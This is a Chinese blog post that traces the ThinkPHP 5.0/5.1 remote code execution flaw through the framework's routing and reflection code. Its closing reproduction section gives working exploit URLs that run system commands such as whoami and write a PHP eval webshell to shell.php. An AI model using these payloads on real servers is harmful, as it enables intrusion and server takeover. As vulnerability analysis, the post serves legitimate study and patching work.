ThinkPHP远程命令执行漏洞原理及复现

栏目: PHP · 发布时间: 5年前

内容简介:此时穿进去的$call也就是$method,是一个数组,第一个元素是一个think\App对象,第二个元素则是调用方法名称的字符串invokefunction,然后通过反射ReflectionMethod获取这个对象下对应的方法再通过函数$args = self::bindParams($reflect, $vars);获取传入的参数,也就是payload

2018年12月11日,exploit-db更新了一个thinkphp框架远程代码执行漏洞

exploit地址: https://www.exploit-db.com/exploits/45978

由于框架对控制器名没有进行足够的检测导致在没有开启强制路由的情况下getshell

漏洞影响范围

Thinkphp 5.1.0 - 5.1.31

Thinkphp 5.0.5 - 5.0.23

安装

下载地址http://www.thinkphp.cn/donate/download/id/1125.html

下载完解压在/var/www/html/目录下即可

ThinkPHP远程命令执行漏洞原理及复现 漏洞分析

/thinkphp/library/think/App.php 行数:120

ThinkPHP远程命令执行漏洞原理及复现

我们可以看到通过self::routerCheck函数进行路由检测

ThinkPHP远程命令执行漏洞原理及复现

我们可以看到又进入$request->path()函数

/thinkphp/library/think/Request.php 行数:416行

ThinkPHP远程命令执行漏洞原理及复现

进入pathinfo()函数,继续追踪到384行

ThinkPHP远程命令执行漏洞原理及复现

Config::get('var_pathinfo')是配置文件中的设置的参数,默认值为s,从GET中获取键值,然后赋值给routeCheck中的$path

我们再回到App.php 行数:606

ThinkPHP远程命令执行漏洞原理及复现

这里会进行路由检测,检查$check后会进入else分支导入路由配置,接着检测路由url调度结果为$result,如果调度失败且开启了强制路由$must,则报出路由无效,接着进入Route::parseUrl函数,根据$path(自定义url)解析操作

开始跟踪parseUrl函数

/thinkphp/library/think/Route.php 行数:1208

ThinkPHP远程命令执行漏洞原理及复现

进入parseUrlPath函数 行数:1275

ThinkPHP远程命令执行漏洞原理及复现

这里我们可以看到对模块/控制器/操作的url地址分割成数组来返回(没截好图有点重了)行数:1217

ThinkPHP远程命令执行漏洞原理及复现 ThinkPHP远程命令执行漏洞原理及复现

我们可以看到,返回的结果赋值为$path,提取路由信息又封装到$route,最后返回

thinkphp/library/think/App.php 行数:120

ThinkPHP远程命令执行漏洞原理及复现

进入self::exec函数 行数:445

ThinkPHP远程命令执行漏洞原理及复现

我们可以看到模块/控制器/操作 的函数为self::module

开始跟踪module函数 行数:494

ThinkPHP远程命令执行漏洞原理及复现 ThinkPHP远程命令执行漏洞原理及复现

我们可以看到,根据$config['app_multi_module']进入多模块部署,$bind为NULL,又进入elseif分支,判断模块是否在禁止的列表里面$config['deny_module_list'],而且mmodule存在,$available = true,就不会抛出异常

module函数最后的返回值,发现$controller没有进行过滤,那么此时应该为think\app,也就是return self::invokeMethod($call, $vars);

ThinkPHP远程命令执行漏洞原理及复现

进入self::invokeMethod函数 行数:329

ThinkPHP远程命令执行漏洞原理及复现

此时穿进去的$call也就是$method,是一个数组,第一个元素是一个think\App对象,第二个元素则是调用方法名称的字符串invokefunction,然后通过反射ReflectionMethod获取这个对象下对应的方法

再通过函数$args = self::bindParams($reflect, $vars);获取传入的参数,也就是payload

最后再调用反射$reflect->invokeArgs($args);,将Payload数组传入反射对象函数invokeFunction,完成代码执行。

ThinkPHP远程命令执行漏洞原理及复现

至此,ThinkPHP远程代码执行漏洞分析完成

————————————————————————————————————————

漏洞利用
http://xxx.xxx.xxx(这里为你的域名)/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

远程代码执行命令:whoami(链接后面的whoami可以改成你要执行的命令,特殊符号请进行url转码)

http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

通过phpinfo函数写出phpinfo的信息

ThinkPHP远程命令执行漏洞原理及复现

http://xxx.xxx.xxx/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22snowwolf%22])?^%3E%3Eshell.php

写入shell

http://xxx.xxx.xxx/public/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100

也是显示phpinfo


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Ajax Design Patterns

Ajax Design Patterns

Michael Mahemoff / O'Reilly Media / 2006-06-29 / USD 44.99

Ajax, or Asynchronous JavaScript and XML, exploded onto the scene in the spring of 2005 and remains the hottest story among web developers. With its rich combination of technologies, Ajax provides a s......一起来看看 《Ajax Design Patterns》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试